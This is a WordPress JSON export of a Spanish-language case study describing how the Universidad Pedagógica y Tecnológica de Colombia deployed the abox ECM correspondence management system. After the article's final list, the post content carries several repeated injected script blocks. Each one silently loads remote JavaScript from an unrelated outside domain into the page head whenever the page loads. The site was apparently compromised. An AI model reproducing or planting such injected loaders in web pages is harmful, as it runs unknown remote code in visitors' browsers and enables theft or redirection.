{"id":1945,"date":"2016-08-17T21:02:57","date_gmt":"2016-08-18T02:02:57","guid":{"rendered":"https:\/\/149.56.148.186\/?p=1945"},"modified":"2026-03-20T04:12:59","modified_gmt":"2026-03-20T09:12:59","slug":"la-uptc-implementa-un-sistema-de-gestion-electronico-de-la-correspondencia","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/la-uptc-implementa-un-sistema-de-gestion-electronico-de-la-correspondencia\/","title":{"rendered":"La UPTC implementa sistema de gesti\u00f3n de correspondencia con abox"},"content":{"rendered":"<p>La <strong>Universidad Pedag\u00f3gica y Tecnol\u00f3gica de Colombia (UPTC)<\/strong> es una universidad p\u00fablica colombiana con sede principal en la ciudad de Tunja. Es la m\u00e1s importante del departamento de Boyac\u00e1 y una de las m\u00e1s prestigiosas de Colombia por su nivel acad\u00e9mico, con presencia en 8 departamentos.<\/p>\n<p>Cuenta con una sede central, seccionales en Duitama, Sogamoso, Chiquinquir\u00e1 y Yopal, seis sedes en programa de extensi\u00f3n y 24 centros regionales de educaci\u00f3n a distancia en los que funcionan 11 facultades, 77 programas acad\u00e9micos de pregrado presencial, 24 de pregrado a distancia y 86 de postgrado.<\/p>\n<p>La Universidad fue creada con el \u00e9nfasis hacia una educaci\u00f3n en pedagog\u00eda, ciencia y tecnolog\u00eda. Actualmente figura en el puesto n\u00famero 9 entre las mejores universidades de Colombia (a\u00f1o 2016) seg\u00fan el ranking adelantado por Sapiens Research Group. Adem\u00e1s, es la cuarta universidad del pa\u00eds por n\u00famero de estudiantes, <strong>m\u00e1s de 30.000<\/strong> aproximadamente.<\/p>\n<h3><strong>El Proyecto\u2026.<\/strong><\/h3>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2016\/08\/secc_tunja.jpg\"><img loading=\"lazy\" class=\"size-medium wp-image-1947 alignright\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2016\/08\/secc_tunja-300x135.jpg\" alt=\"secc_tunja\" width=\"300\" height=\"135\" \/><\/a>La UPTC como entidad p\u00fablica tiene la obligaci\u00f3n de cumplir con las leyes colombianas de archivo, en concreto la Ley 594 de 2000 y otros decretos gubernativos.<\/p>\n<p>El proyecto iniciado a finales de 2014 tuvo como objetivo la implantaci\u00f3n de un <strong>Sistema de Gesti\u00f3n Electr\u00f3nica de la Correspondencia<\/strong> que abarc\u00f3 en su primera fase:<\/p>\n<ul>\n<li>Ventanilla de correspondencia totalmente automatizada en el Edificio central administrativo<\/li>\n<li>Ventanilla de correspondencia totalmente automatizada en la Facultad de Medicina de Tunja.<\/li>\n<li>Proceso de distribuci\u00f3n f\u00edsica y electr\u00f3nica a todas las facultades de la sede central en Tunja.<\/li>\n<li>Sistema de clasificaci\u00f3n b\u00e1sico por series documentales.<\/li>\n<\/ul>\n<p>El sistema inform\u00e1tico se encuentra desde el 1\u00ba de junio de 2015 en operaci\u00f3n.<\/p>\n<h3><strong>La Soluci\u00f3n\u2026.<\/strong><\/h3>\n<p><strong><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2016\/08\/curso_cero_universidad.jpg\"><img loading=\"lazy\" class=\"size-medium wp-image-1948 alignleft\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2016\/08\/curso_cero_universidad-300x169.jpg\" alt=\"curso_cero_universidad\" width=\"300\" height=\"169\" \/><\/a>abox ECM <\/strong>ha permitido hacer realidad la Fase 1\u00aa de implantaci\u00f3n de un Sistema de Gesti\u00f3n Electr\u00f3nica de documentos de archivo (<strong>SGEDA<\/strong>) y, de este modo, mejorar la eficiencia y satisfacci\u00f3n de los usuarios de la universidad, cumpliendo con la legalidad vigente.<\/p>\n<p>Se estima en m\u00e1s de 2.000 el n\u00famero de comunicaciones oficiales radicadas por mes en estas ventanillas.<\/p>\n<p>La herramienta permite radicar entradas y salidas de cualquier formato: f\u00edsicos digitalizables (documentos que se escanean), f\u00edsicos no digitalizables (paquetes, CDs\/DVDs, manuales, libros, etc.) y electr\u00f3nicos (correos electr\u00f3nicos, archivos en PDF, Word, etc).<\/p>\n<p>La herramienta es usada actualmente por <strong>15 usuarios activos<\/strong> y m\u00e1s de <strong>250 usuarios internos de consulta<\/strong>.<\/p>\n<p>La aplicaci\u00f3n emplea un servidor de aplicaci\u00f3n y base de datos, con un motor sobre Oracle 11g y un repositorio de archivos, todo ello bajo estrictas condiciones de seguridad y rendimiento.<\/p>\n<p>Las ventajas m\u00e1s significativas que se han logrado son:<\/p>\n<ul>\n<li>Permitir el env\u00edo electr\u00f3nico de todas las comunicaciones <strong>en minutos<\/strong> a sus destinatarios, sin necesidad de esperar a que los mensajeros realicen las entregas.<\/li>\n<li>Permitir <strong>consultas<\/strong> sobre los radicados recibidos y enviados en cuesti\u00f3n de segundos, con m\u00faltiples campos de b\u00fasqueda.<\/li>\n<li>Realizar una <strong>clasificaci\u00f3n<\/strong> de todos los radicados por dependencia y serie documental, contribuyendo a una mejor organizaci\u00f3n del repositorio de la instituci\u00f3n.<\/li>\n<li>Reducir <strong>costos<\/strong> en la gesti\u00f3n interna de la correspondencia y evitar p\u00e9rdidas y demoras en las entregas.<\/li>\n<\/ul>\n<h3><strong>Perspectivas\u2026.<\/strong><\/h3>\n<p>Este proyecto representa la <strong>1\u00aa Fase del proyecto \u201cCero Papel\u201d<\/strong> de la Universidad, un paso importante para la transformaci\u00f3n tecnol\u00f3gica de la Universidad, reduciendo el uso del papel y gestionando m\u00e1s eficientemente sus procesos documentales.<\/p>\n<p>Sin embargo, se trata de un objetivo inicial encuadrado en una ambiciosa iniciativa que pretende abarcar todas las sedes y dependencias de la organizaci\u00f3n.<\/p>\n<p>Las siguientes <strong>fases previstas<\/strong> son:<\/p>\n<ol>\n<li>Ampliaci\u00f3n de la gesti\u00f3n electr\u00f3nica de la correspondencia al resto de seccionales de la universidad.<\/li>\n<li>Parametrizaci\u00f3n de todas las Tablas de Retenci\u00f3n Documental (TRDs) de la universidad para permitir una correcta y completa clasificaci\u00f3n del archivo.<\/li>\n<li>Mejora en la gesti\u00f3n del almac\u00e9n documental, pr\u00e9stamos y control de retenciones y disposici\u00f3n final.<\/li>\n<li>Digitalizaci\u00f3n y optimizaci\u00f3n de ciertos procesos cr\u00edticos donde se perciben ineficiencias por el uso del papel y donde se requiere una integraci\u00f3n con otros sistemas de informaci\u00f3n ya implantados en la UPTC.<\/li>\n<\/ol>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = 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